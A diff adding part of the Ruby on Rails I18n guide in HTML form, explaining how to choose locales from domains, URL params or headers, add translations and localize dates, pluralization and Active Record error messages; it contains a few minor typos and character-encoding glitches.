+	<li>The locale is an <em>obvious</em> part of the <span class="caps">URL</span>.</li>
+	<li>People intuitively grasp in which language the content will be displayed.</li>
+	<li>It is very trivial to implement in Rails.</li>
+	<li>Search engines seem to like that content in different languages lives at different, inter-linked domains.</li>
+</ul>
+<p>You can implement it like this in your <tt>ApplicationController</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+before_filter :set_locale
+
+def set_locale
+  I18n.locale = extract_locale_from_tld
+end
+
+# Get locale from top-level domain or return nil if such locale is not available
+# You have to put something like:
+#   127.0.0.1 application.com
+#   127.0.0.1 application.it
+#   127.0.0.1 application.pl
+# in your /etc/hosts file to try this out locally
+def extract_locale_from_tld
+  parsed_locale = request.host.split('.').last
+  I18n.available_locales.include?(parsed_locale.to_sym) ? parsed_locale  : nil
+end
+</pre>
+</div>
+</notextile>
+
+<p>We can also set the locale from the <em>subdomain</em> in a very similar way:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# Get locale code from request subdomain (like http://it.application.local:3000)
+# You have to put something like:
+#   127.0.0.1 gr.application.local
+# in your /etc/hosts file to try this out locally
+def extract_locale_from_subdomain
+  parsed_locale = request.subdomains.first
+  I18n.available_locales.include?(parsed_locale.to_sym) ? parsed_locale  : nil
+end
+</pre>
+</div>
+</notextile>
+
+<p>If your application includes a locale switching menu, you would then have something like this in it:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+link_to(&quot;Deutsch&quot;, &quot;#{APP_CONFIG[:deutsch_website_url]}#{request.env['REQUEST_URI']}&quot;)
+</pre>
+</div>
+</notextile>
+
+<p>assuming you would set <tt>APP_CONFIG[:deutsch_website_url]</tt> to some value like <tt>http://www.application.de</tt>.</p>
+<p>This solution has aforementioned advantages, however, you may not be able or may not want to provide different localizations (&#8220;language versions&#8221;) on different domains. The most obvious solution would be to include locale code in the <span class="caps">URL</span> params (or request path).</p>
+<h4 id="setting-the-locale-from-the-url-params">2.5 Setting the Locale from the <span class="caps">URL</span> Params</h4>
+<p>The most usual way of setting (and passing) the locale would be to include it in <span class="caps">URL</span> params, as we did in the <tt>I18n.locale = params[:locale]</tt> <em>before_filter</em> in the first example. We would like to have URLs like <tt>www.example.com/books?locale=ja</tt> or <tt>www.example.com/ja/books</tt> in this case.</p>
+<p>This approach has almost the same set of advantages as setting the locale from the domain name: namely that it&#8217;s RESTful and in accord with the rest of the World Wide Web. It does require a little bit more work to implement, though.</p>
+<p>Getting the locale from <tt>params</tt> and setting it accordingly is not hard; including it in every <span class="caps">URL</span> and thus <strong>passing it through the requests</strong> is. To include an explicit option in every <span class="caps">URL</span> (e.g. <tt>link_to( books_url(:locale => I18n.locale))</tt>) would be tedious and probably impossible, of course.</p>
+<p>Rails contains infrastructure for &#8220;centralizing dynamic decisions about the URLs&#8221; in its <a href="http://api.rubyonrails.org/classes/ActionController/Base.html#M000515"><tt>ApplicationController#default_url_options</tt></a>, which is useful precisely in this scenario: it enables us to set &#8220;defaults&#8221; for <a href="http://api.rubyonrails.org/classes/ActionController/Base.html#M000503"><tt>url_for</tt></a> and helper methods dependent on it (by implementing/overriding this method).</p>
+<p>We can include something like this in our <tt>ApplicationController</tt> then:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# app/controllers/application_controller.rb
+def default_url_options(options={})
+  logger.debug &quot;default_url_options is passed options: #{options.inspect}\n&quot;
+  { :locale =&gt; I18n.locale }
+end
+</pre>
+</div>
+</notextile>
+
+<p>Every helper method dependent on <tt>url_for</tt> (e.g. helpers for named routes like <tt>root_path</tt> or <tt>root_url</tt>, resource routes like <tt>books_path</tt> or <tt>books_url</tt>, etc.) will now <strong>automatically include the locale in the query string</strong>, like this: <tt>http://localhost:3001/?locale=ja</tt>.</p>
+<p>You may be satisfied with this. It does impact the readability of URLs, though, when the locale &#8220;hangs&#8221; at the end of every <span class="caps">URL</span> in your application. Moreover, from the architectural standpoint, locale is usually hierarchically above the other parts of the application domain: and URLs should reflect this.</p>
+<p>You probably want URLs to look like this: <tt>www.example.com/en/books</tt> (which loads the English locale) and <tt>www.example.com/nl/books</tt> (which loads the Netherlands locale). This is achievable with the &#8220;over-riding <tt>default_url_options</tt>&#8221; strategy from above: you just have to set up your routes with <a href="http://api.rubyonrails.org/classes/ActionController/Resources.html#M000354"><tt>path_prefix</tt></a> option in this way:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# config/routes.rb
+scope &quot;/:locale&quot; do
+  resources :books
+end
+</pre>
+</div>
+</notextile>
+
+<p>Now, when you call the <tt>books_path</tt> method you should get <tt>"/en/books"</tt> (for the default locale). An <span class="caps">URL</span> like <tt>http://localhost:3001/nl/books</tt> should load the Netherlands locale, then, and following calls to <tt>books_path</tt> should return <tt>"/nl/books"</tt> (because the locale changed).</p>
+<p>If you don&#8217;t want to force the use of a locale in your routes you can use an optional path scope (donated by the use brackets) like so:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# config/routes.rb
+scope &quot;(:locale)&quot;, :locale =&gt; /en|nl/ do
+  resources :books
+end
+</pre>
+</div>
+</notextile>
+
+<p>With this approach you will not get a <tt>Routing Error</tt> when accessing your resources such as <tt>http://localhost:3001/books</tt> without a locale. This is useful for when you want to use the default locale when one is not specified.</p>
+<p>Of course, you need to take special care of the root <span class="caps">URL</span> (usually &#8220;homepage&#8221; or &#8220;dashboard&#8221;) of your application. An <span class="caps">URL</span> like <tt>http://localhost:3001/nl</tt> will not work automatically, because the <tt>root :to => "books#index"</tt> declaration in your <tt>routes.rb</tt> doesn&#8217;t take locale into account. (And rightly so: there&#8217;s only one &#8220;root&#8221; <span class="caps">URL</span>.)</p>
+<p>You would probably need to map URLs like these:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# config/routes.rb
+match '/:locale' =&gt; 'dashboard#index'
+</pre>
+</div>
+</notextile>
+
+<p>Do take special care about the <strong>order of your routes</strong>, so this route declaration does not &#8220;eat&#8221; other ones. (You may want to add it directly before the <tt>root :to</tt> declaration.)</p>
+<div class='warning'><p>This solution has currently one rather big <strong>downside</strong>. Due to the <em>default_url_options</em> implementation, you have to pass the <tt>:id</tt> option explicitly, like this: <tt>link_to 'Show', book_url(:id => book)</tt> and not depend on Rails&#8217; magic in code like <tt>link_to 'Show', book</tt>. If this should be a problem, have a look at two plugins which simplify work with routes in this way: Sven Fuchs&#8217;s <a href="http://github.com/svenfuchs/routing-filter/tree/master">routing_filter</a> and Raul Murciano&#8217;s <a href="http://github.com/raul/translate_routes/tree/master">translate_routes</a>. See also the page <a href="http://rails-i18n.org/wiki/wikipages/how-to-encode-the-current-locale-in-the-url">How to encode the current locale in the <span class="caps">URL</span></a> in the Rails i18n Wiki.</p></div>
+<h4 id="setting-the-locale-from-the-client-supplied-information">2.6 Setting the Locale from the Client Supplied Information</h4>
+<p>In specific cases, it would make sense to set the locale from client-supplied information, i.e. not from the <span class="caps">URL</span>. This information may come for example from the users&#8217; preferred language (set in their browser), can be based on the users&#8217; geographical location inferred from their IP, or users can provide it simply by choosing the locale in your application interface and saving it to their profile. This approach is more suitable for web-based applications or services, not for websites &#8212; see the box about <em>sessions</em>, <em>cookies</em> and RESTful architecture above.</p>
+<h5 id="using-accept-language">2.6.1 Using <tt>Accept-Language</tt></h5>
+<p>One source of client supplied information would be an <tt>Accept-Language</tt> <span class="caps">HTTP</span> header. People may <a href="http://www.w3.org/International/questions/qa-lang-priorities">set this in their browser</a> or other clients (such as <em>curl</em>).</p>
+<p>A trivial implementation of using an <tt>Accept-Language</tt> header would be:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def set_locale
+  logger.debug &quot;* Accept-Language: #{request.env['HTTP_ACCEPT_LANGUAGE']}&quot;
+  I18n.locale = extract_locale_from_accept_language_header
+  logger.debug &quot;* Locale set to '#{I18n.locale}'&quot;
+end
+private
+def extract_locale_from_accept_language_header
+  request.env['HTTP_ACCEPT_LANGUAGE'].scan(/^[a-z]{2}/).first
+end
+</pre>
+</div>
+</notextile>
+
+<p>Of course, in a production environment you would need much more robust code, and could use a plugin such as Iain Hecker&#8217;s <a href="http://github.com/iain/http_accept_language/tree/master">http_accept_language</a> or even Rack middleware such as Ryan Tomayko&#8217;s <a href="http://github.com/rtomayko/rack-contrib/blob/master/lib/rack/locale.rb">locale</a>.</p>
+<h5 id="using-geoip-or-similar-database">2.6.2 Using GeoIP (or Similar) Database</h5>
+<p>Another way of choosing the locale from client information would be to use a database for mapping the client IP to the region, such as <a href="http://www.maxmind.com/app/geolitecountry">GeoIP Lite Country</a>. The mechanics of the code would be very similar to the code above &#8212; you would need to query the database for the user&#8217;s IP, and look up your preferred locale for the country/region/city returned.</p>
+<h5 id="user-profile">2.6.3 User Profile</h5>
+<p>You can also provide users of your application with means to set (and possibly over-ride) the locale in your application interface, as well. Again, mechanics for this approach would be very similar to the code above &#8212; you&#8217;d probably let users choose a locale from a dropdown list and save it to their profile in the database. Then you&#8217;d set the locale to this value.</p>
+<h3 id="internationalizing-your-application">3 Internationalizing your Application</h3>
+<p>OK! Now you&#8217;ve initialized I18n support for your Ruby on Rails application and told it which locale to use and how to preserve it between requests. With that in place, you&#8217;re now ready for the really interesting stuff.</p>
+<p>Let&#8217;s <em>internationalize</em> our application, i.e. abstract every locale-specific parts, and then <em>localize</em> it, i.e. provide necessary translations for these abstracts.</p>
+<p>You most probably have something like this in one of your applications:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# config/routes.rb
+Yourapp::Application.routes.draw do
+  root :to =&gt; &quot;home#index&quot;
+end
+
+# app/controllers/home_controller.rb
+class HomeController &lt; ApplicationController
+  def index
+    flash[:notice] = &quot;Hello flash!&quot;
+  end
+end
+
+# app/views/home/index.html.erb
+&lt;h1&gt;Hello world!&lt;/h1&gt;
+&lt;p&gt;&lt;%= flash[:notice] %&gt;&lt;/p&gt;
+</pre>
+</div>
+</notextile>
+
+<p><img src="images/i18n/demo_untranslated.png" title="rails i18n demo untranslated" alt="rails i18n demo untranslated" /></p>
+<h4 id="adding-translations">3.1 Adding Translations</h4>
+<p>Obviously there are <strong>two strings that are localized to English</strong>. In order to internationalize this code, <strong>replace these strings</strong> with calls to Rails&#8217; <tt>#t</tt> helper with a key that makes sense for the translation:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# app/controllers/home_controller.rb
+class HomeController &lt; ApplicationController
+  def index
+    flash[:notice] = t(:hello_flash)
+  end
+end
+
+# app/views/home/index.html.erb
+&lt;h1&gt;&lt;%=t :hello_world %&gt;&lt;/h1&gt;
+&lt;p&gt;&lt;%= flash[:notice] %&gt;&lt;/p&gt;
+</pre>
+</div>
+</notextile>
+
+<p>When you now render this view, it will show an error message which tells you that the translations for the keys <tt>:hello_world</tt> and <tt>:hello_flash</tt> are missing.</p>
+<p><img src="images/i18n/demo_translation_missing.png" title="rails i18n demo translation missing" alt="rails i18n demo translation missing" /></p>
+<div class='note'><p>Rails adds a <tt>t</tt> (<tt>translate</tt>) helper method to your views so that you do not need to spell out <tt>I18n.t</tt> all the time. Additionally this helper will catch missing translations and wrap the resulting error message into a <tt>&lt;span class="translation_missing"&gt;</tt>.</p></div>
+<p>So let&#8217;s add the missing translations into the dictionary files (i.e. do the &#8220;localization&#8221; part):</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# config/locales/en.yml
+en:
+  hello_world: Hello World
+  hello_flash: Hello Flash
+
+# config/locales/pirate.yml
+pirate:
+  hello_world: Ahoy World
+  hello_flash: Ahoy Flash
+</pre>
+</div>
+</notextile>
+
+<p>There you go. Because you haven&#8217;t changed the default_locale, I18n will use English. Your application now shows:</p>
+<p><img src="images/i18n/demo_translated_en.png" title="rails i18n demo translated to English" alt="rails i18n demo translated to English" /></p>
+<p>And when you change the <span class="caps">URL</span> to pass the pirate locale (<tt>http://localhost:3000?locale=pirate</tt>), you&#8217;ll get:</p>
+<p><img src="images/i18n/demo_translated_pirate.png" title="rails i18n demo translated to pirate" alt="rails i18n demo translated to pirate" /></p>
+<div class='note'><p>You need to restart the server when you add new locale files.</p></div>
+<p>You may use <span class="caps">YAML</span> (<tt>.yml</tt>) or plain Ruby (<tt>.rb</tt>) files for storing your translations in SimpleStore. <span class="caps">YAML</span> is the preferred option among Rails developers. However, it has one big disadvantage. <span class="caps">YAML</span> is very sensitive to whitespace and special characters, so the application may not load your dictionary properly. Ruby files will crash your application on first request, so you may easily find what&#8217;s wrong. (If you encounter any &#8220;weird issues&#8221; with <span class="caps">YAML</span> dictionaries, try putting the relevant portion of your dictionary into a Ruby file.)</p>
+<h4 id="adding-date-time-formats">3.2 Adding Date/Time Formats</h4>
+<p>OK! Now let&#8217;s add a timestamp to the view, so we can demo the <strong>date/time localization</strong> feature as well. To localize the time format you pass the Time object to <tt>I18n.l</tt> or (preferably) use Rails&#8217; <tt>#l</tt> helper. You can pick a format by passing the <tt>:format</tt> option &#8212; by default the <tt>:default</tt> format is used.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# app/views/home/index.html.erb
+&lt;h1&gt;&lt;%=t :hello_world %&gt;&lt;/h1&gt;
+&lt;p&gt;&lt;%= flash[:notice] %&gt;&lt;/p
+&lt;p&gt;&lt;%= l Time.now, :format =&gt; :short %&gt;&lt;/p&gt;
+</pre>
+</div>
+</notextile>
+
+<p>And in our pirate translations file let&#8217;s add a time format (it&#8217;s already there in Rails&#8217; defaults for English):</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# config/locales/pirate.yml
+pirate:
+  time:
+    formats:
+      short: &quot;arrrround %H'ish&quot;
+</pre>
+</div>
+</notextile>
+
+<p>So that would give you:</p>
+<p><img src="images/i18n/demo_localized_pirate.png" title="rails i18n demo localized time to pirate" alt="rails i18n demo localized time to pirate" /></p>
+<div class='info'><p>Right now you might need to add some more date/time formats in order to make the I18n backend work as expected (at least for the &#8216;pirate&#8217; locale). Of course, there&#8217;s a great chance that somebody already did all the work by <strong>translating Rails&#8217; defaults for your locale</strong>. See the <a href="http://github.com/svenfuchs/rails-i18n/tree/master/rails/locale">rails-i18n repository at Github</a> for an archive of various locale files. When you put such file(s) in <tt>config/locales/</tt> directory, they will automatically be ready for use.</p></div>
+<h4 id="localized-views">3.3 Localized Views</h4>
+<p>Rails 2.3 introduces another convenient localization feature: localized views (templates). Let&#8217;s say you have a <em>BooksController</em> in your application. Your <em>index</em> action renders content in <tt>app/views/books/index.html.erb</tt> template. When you put a <em>localized variant</em> of this template: <strong><tt>index.es.html.erb</tt></strong> in the same directory, Rails will render content in this template, when the locale is set to <tt>:es</tt>. When the locale is set to the default locale, the generic <tt>index.html.erb</tt> view will be used. (Future Rails versions may well bring this <em>automagic</em> localization to assets in <tt>public</tt>, etc.)</p>
+<p>You can make use of this feature, e.g. when working with a large amount of static content, which would be clumsy to put inside <span class="caps">YAML</span> or Ruby dictionaries. Bear in mind, though, that any change you would like to do later to the template must be propagated to all of them.</p>
+<h4 id="organization-of-locale-files">3.4 Organization of Locale Files</h4>
+<p>When you are using the default SimpleStore shipped with the i18n library, dictionaries are stored in plain-text files on the disc. Putting translations for all parts of your application in one file per locale could be hard to manage. You can store these files in a hierarchy which makes sense to you.</p>
+<p>For example, your <tt>config/locales</tt> directory could look like this:</p>
+<pre>
+|-defaults
+|---es.rb
+|---en.rb
+|-models
+|---book
+|-----es.rb
+|-----en.rb
+|-views
+|---defaults
+|-----es.rb
+|-----en.rb
+|---books
+|-----es.rb
+|-----en.rb
+|---users
+|-----es.rb
+|-----en.rb
+|---navigation
+|-----es.rb
+|-----en.rb
+</pre>
+<p>This way, you can separate model and model attribute names from text inside views, and all of this from the &#8220;defaults&#8221; (e.g. date and time formats). Other stores for the i18n library could provide different means of such separation.</p>
+<div class='note'><p>The default locale loading mechanism in Rails does not load locale files in nested dictionaries, like we have here. So, for this to work, we must explicitly tell Rails to look further:</p></div>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# config/application.rb
+  config.i18n.load_path += Dir[Rails.root.join('config', 'locales', '**', '*.{rb,yml}')]
+</pre>
+</div>
+</notextile>
+
+<p>Do check the <a href="http://rails-i18n.org/wiki">Rails i18n Wiki</a> for list of tools available for managing translations.</p>
+<h3 id="overview-of-the-i18n-api-features">4 Overview of the I18n <span class="caps">API</span> Features</h3>
+<p>You should have good understanding of using the i18n library now, knowing all necessary aspects of internationalizing a basic Rails application.  In the following chapters, we&#8217;ll cover it&#8217;s features in more depth.</p>
+<p>Covered are features like these:</p>
+<ul>
+	<li>looking up translations</li>
+	<li>interpolating data into translations</li>
+	<li>pluralizing translations</li>
+	<li>localizing dates, numbers, currency, etc.</li>
+</ul>
+<h4 id="looking-up-translations">4.1 Looking up Translations</h4>
+<h5 id="basic-lookup-scopes-and-nested-keys">4.1.1 Basic Lookup, Scopes and Nested Keys</h5>
+<p>Translations are looked up by keys which can be both Symbols or Strings, so these calls are equivalent:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+I18n.t :message
+I18n.t 'message'
+</pre>
+</div>
+</notextile>
+
+<p>The <tt>translate</tt> method also takes a <tt>:scope</tt> option which can contain one or more additional keys that will be used to specify a โ€œnamespaceโ€ or scope for a translation key:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+I18n.t :invalid, :scope =&gt; [:activerecord, :errors, :messages]
+</pre>
+</div>
+</notextile>
+
+<p>This looks up the <tt>:invalid</tt> message in the Active Record error messages.</p>
+<p>Additionally, both the key and scopes can be specified as dot-separated keys as in:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+I18n.translate :&quot;activerecord.errors.messages.invalid&quot;
+</pre>
+</div>
+</notextile>
+
+<p>Thus the following calls are equivalent:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+I18n.t 'activerecord.errors.messages.invalid'
+I18n.t 'errors.messages.invalid', :scope =&gt; :active_record
+I18n.t :invalid, :scope =&gt; 'activerecord.errors.messages'
+I18n.t :invalid, :scope =&gt; [:activerecord, :errors, :messages]
+</pre>
+</div>
+</notextile>
+
+<h5 id="defaults">4.1.2 Defaults</h5>
+<p>When a <tt>:default</tt> option is given, its value will be returned if the translation is missing:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+I18n.t :missing, :default =&gt; 'Not here'
+# =&gt; 'Not here'
+</pre>
+</div>
+</notextile>
+
+<p>If the <tt>:default</tt> value is a Symbol, it will be used as a key and translated. One can provide multiple values as default. The first one that results in a value will be returned.</p>
+<p>E.g., the following first tries to translate the key <tt>:missing</tt> and then the key <tt>:also_missing.</tt> As both do not yield a result, the string &#8220;Not here&#8221; will be returned:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+I18n.t :missing, :default =&gt; [:also_missing, 'Not here']
+# =&gt; 'Not here'
+</pre>
+</div>
+</notextile>
+
+<h5 id="bulk-and-namespace-lookup">4.1.3 Bulk and Namespace Lookup</h5>
+<p>To look up multiple translations at once, an array of keys can be passed:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+I18n.t [:odd, :even], :scope =&gt; 'activerecord.errors.messages'
+# =&gt; [&quot;must be odd&quot;, &quot;must be even&quot;]
+</pre>
+</div>
+</notextile>
+
+<p>Also, a key can translate to a (potentially nested) hash of grouped translations. E.g., one can receive <em>all</em> Active Record error messages as a Hash with:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+I18n.t 'activerecord.errors.messages'
+# =&gt; { :inclusion =&gt; &quot;is not included in the list&quot;, :exclusion =&gt; ... }
+</pre>
+</div>
+</notextile>
+
+<h5 id="lazy-lookup">4.1.4 &#8220;Lazy&#8221; Lookup</h5>
+<p>Rails 2.3 implements a convenient way to look up the locale inside <em>views</em>. When you have the following dictionary:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+es:
+  books:
+    index:
+      title: &quot;Tรญtulo&quot;
+</pre>
+</div>
+</notextile>
+
+<p>you can look up the <tt>books.index.title</tt> value <strong>inside</strong> <tt>app/views/books/index.html.erb</tt> template like this (note the dot):</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&lt;%= t '.title' %&gt;
+</pre>
+</div>
+</notextile>
+
+<h4 id="interpolation">4.2 Interpolation</h4>
+<p>In many cases you want to abstract your translations so that <strong>variables can be interpolated into the translation</strong>. For this reason the I18n <span class="caps">API</span> provides an interpolation feature.</p>
+<p>All options besides <tt>:default</tt> and <tt>:scope</tt> that are passed to <tt>#translate</tt> will be interpolated to the translation:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+I18n.backend.store_translations :en, :thanks =&gt; 'Thanks %{name}!'
+I18n.translate :thanks, :name =&gt; 'Jeremy'
+# =&gt; 'Thanks Jeremy!'
+</pre>
+</div>
+</notextile>
+
+<p>If a translation uses <tt>:default</tt> or <tt>:scope</tt> as an interpolation variable, an I<tt>18n::ReservedInterpolationKey</tt> exception is raised. If a translation expects an interpolation variable, but this has not been passed to <tt>#translate</tt>, an <tt>I18n::MissingInterpolationArgument</tt> exception is raised.</p>
+<h4 id="pluralization">4.3 Pluralization</h4>
+<p>In English there are only one singular and one plural form for a given string, e.g. &#8220;1 message&#8221; and &#8220;2 messages&#8221;. Other languages (<a href="http://unicode.org/repos/cldr-tmp/trunk/diff/supplemental/language_plural_rules.html#ar">Arabic</a>, <a href="http://unicode.org/repos/cldr-tmp/trunk/diff/supplemental/language_plural_rules.html#ja">Japanese</a>, <a href="http://unicode.org/repos/cldr-tmp/trunk/diff/supplemental/language_plural_rules.html#ru">Russian</a> and many more) have different grammars that have additional or fewer <a href="http://unicode.org/repos/cldr-tmp/trunk/diff/supplemental/language_plural_rules.html">plural forms</a>. Thus, the I18n <span class="caps">API</span> provides a flexible pluralization feature.</p>
+<p>The <tt>:count</tt> interpolation variable has a special role in that it both is interpolated to the translation and used to pick a pluralization from the translations according to the pluralization rules defined by <span class="caps">CLDR</span>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+I18n.backend.store_translations :en, :inbox =&gt; {
+  :one =&gt; '1 message',
+  :other =&gt; '%{count} messages'
+}
+I18n.translate :inbox, :count =&gt; 2
+# =&gt; '2 messages'
+</pre>
+</div>
+</notextile>
+
+<p>The algorithm for pluralizations in <tt>:en</tt> is as simple as:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+entry[count == 1 ? 0 : 1]
+</pre>
+</div>
+</notextile>
+
+<p>I.e. the translation denoted as <tt>:one</tt> is regarded as singular, the other is used as plural (including the count being zero).</p>
+<p>If the lookup for the key does not return a Hash suitable for pluralization, an <tt>18n::InvalidPluralizationData</tt> exception is raised.</p>
+<h4 id="setting-and-passing-a-locale">4.4 Setting and Passing a Locale</h4>
+<p>The locale can be either set pseudo-globally to <tt>I18n.locale</tt> (which uses <tt>Thread.current</tt> like, e.g., <tt>Time.zone</tt>) or can be passed as an option to <tt>#translate</tt> and <tt>#localize</tt>.</p>
+<p>If no locale is passed, <tt>I18n.locale</tt> is used:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+I18n.locale = :de
+I18n.t :foo
+I18n.l Time.now
+</pre>
+</div>
+</notextile>
+
+<p>Explicitely passing a locale:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+I18n.t :foo, :locale =&gt; :de
+I18n.l Time.now, :locale =&gt; :de
+</pre>
+</div>
+</notextile>
+
+<p>The <tt>I18n.locale</tt> defaults to <tt>I18n.default_locale</tt> which defaults to :<tt>en</tt>. The default locale can be set like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+I18n.default_locale = :de
+</pre>
+</div>
+</notextile>
+
+<h3 id="how-to-store-your-custom-translations">5 How to Store your Custom Translations</h3>
+<p>The Simple backend shipped with Active Support allows you to store translations in both plain Ruby and <span class="caps">YAML</span> format. <sup class="footnote" id="fnr2"><a href="#fn2">2</a></sup></p>
+<p>For example a Ruby Hash providing translations can look like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+{
+  :pt =&gt; {
+    :foo =&gt; {
+      :bar =&gt; &quot;baz&quot;
+    }
+  }
+}
+</pre>
+</div>
+</notextile>
+
+<p>The equivalent <span class="caps">YAML</span> file would look like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+pt:
+  foo:
+    bar: baz
+</pre>
+</div>
+</notextile>
+
+<p>As you see, in both cases the toplevel key is the locale. <tt>:foo</tt> is a namespace key and <tt>:bar</tt> is the key for the translation &#8220;baz&#8221;.</p>
+<p>Here is a &#8220;real&#8221; example from the Active Support <tt>en.yml</tt> translations <span class="caps">YAML</span> file:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+en:
+  date:
+    formats:
+      default: &quot;%Y-%m-%d&quot;
+      short: &quot;%b %d&quot;
+      long: &quot;%B %d, %Y&quot;
+</pre>
+</div>
+</notextile>
+
+<p>So, all of the following equivalent lookups will return the <tt>:short</tt> date format <tt>"%B %d"</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+I18n.t 'date.formats.short'
+I18n.t 'formats.short', :scope =&gt; :date
+I18n.t :short, :scope =&gt; 'date.formats'
+I18n.t :short, :scope =&gt; [:date, :formats]
+</pre>
+</div>
+</notextile>
+
+<p>Generally we recommend using <span class="caps">YAML</span> as a format for storing translations. There are cases, though, where you want to store Ruby lambdas as part of your locale data, e.g. for special date formats.</p>
+<h4 id="translations-for-active-record-models">5.1 Translations for Active Record Models</h4>
+<p>You can use the methods <tt>Model.human_name</tt> and <tt>Model.human_attribute_name(attribute)</tt> to transparently look up translations for your model and attribute names.</p>
+<p>For example when you add the following translations:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+en:
+  activerecord:
+    models:
+      user: Dude
+    attributes:
+      user:
+        login: &quot;Handle&quot;
+      # will translate User attribute &quot;login&quot; as &quot;Handle&quot;
+</pre>
+</div>
+</notextile>
+
+<p>Then <tt>User.human_name</tt> will return &#8220;Dude&#8221; and <tt>User.human_attribute_name("login")</tt> will return &#8220;Handle&#8221;.</p>
+<h5 id="error-message-scopes">5.1.1 Error Message Scopes</h5>
+<p>Active Record validation error messages can also be translated easily. Active Record gives you a couple of namespaces where you can place your message translations in order to provide different messages and translation for certain models, attributes, and/or validations. It also transparently takes single table inheritance into account.</p>
+<p>This gives you quite powerful means to flexibly adjust your messages to your application&#8217;s needs.</p>
+<p>Consider a User model with a <tt>validates_presence_of</tt> validation for the name attribute like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class User &lt; ActiveRecord::Base
+  validates_presence_of :name
+end
+</pre>
+</div>
+</notextile>
+
+<p>The key for the error message in this case is <tt>:blank</tt>. Active Record will look up this key in the namespaces:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+activerecord.errors.models.[model_name].attributes.[attribute_name]
+activerecord.errors.models.[model_name]
+activerecord.errors.messages
+errors.attributes.[attribute_name]
+errors.messages
+</pre>
+</div>
+</notextile>
+
+<p>Thus, in our example it will try the following keys in this order and return the first result:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+activerecord.errors.models.user.attributes.name.blank
+activerecord.errors.models.user.blank
+activerecord.errors.messages.blank
+errors.attributes.name.blank
+errors.messagges.blank
+</pre>
+</div>
+</notextile>
+
+<p>When your models are additionally using inheritance then the messages are looked up in the inheritance chain.</p>
+<p>For example, you might have an Admin model inheriting from User:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Admin &lt; User
+  validates_presence_of :name
+end
+</pre>
+</div>
+</notextile>
+
+<p>Then Active Record will look for messages in this order:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+activerecord.errors.models.admin.attributes.title.blank
+activerecord.errors.models.admin.blank
+activerecord.errors.models.user.attributes.title.blank
+activerecord.errors.models.user.blank
+activerecord.errors.messages.blank
+errors.attributes.title.blank
+errors.messagges.blank
+</pre>
+</div>
+</notextile>
+
+<p>This way you can provide special translations for various error messages at different points in your models inheritance chain and in the attributes, models, or default scopes.</p>
+<h5 id="error-message-interpolation">5.1.2 Error Message Interpolation</h5>
+<p>The translated model name, translated attribute name, and value are always available for interpolation.</p>
+<p>So, for example, instead of the default error message <tt>"can not be blank"</tt> you could use the attribute name like this : <tt>"Please fill in your %{attribute}"</tt>.</p>
+<ul>
+	<li><tt>count</tt>, where available, can be used for pluralization if present:</li>
+</ul>
+<table>
+	<tr>
+		<th>validation                 </th>
+		<th>with option              </th>
+		<th>message                  </th>
+		<th>interpolation</th>
+	</tr>
+	<tr>
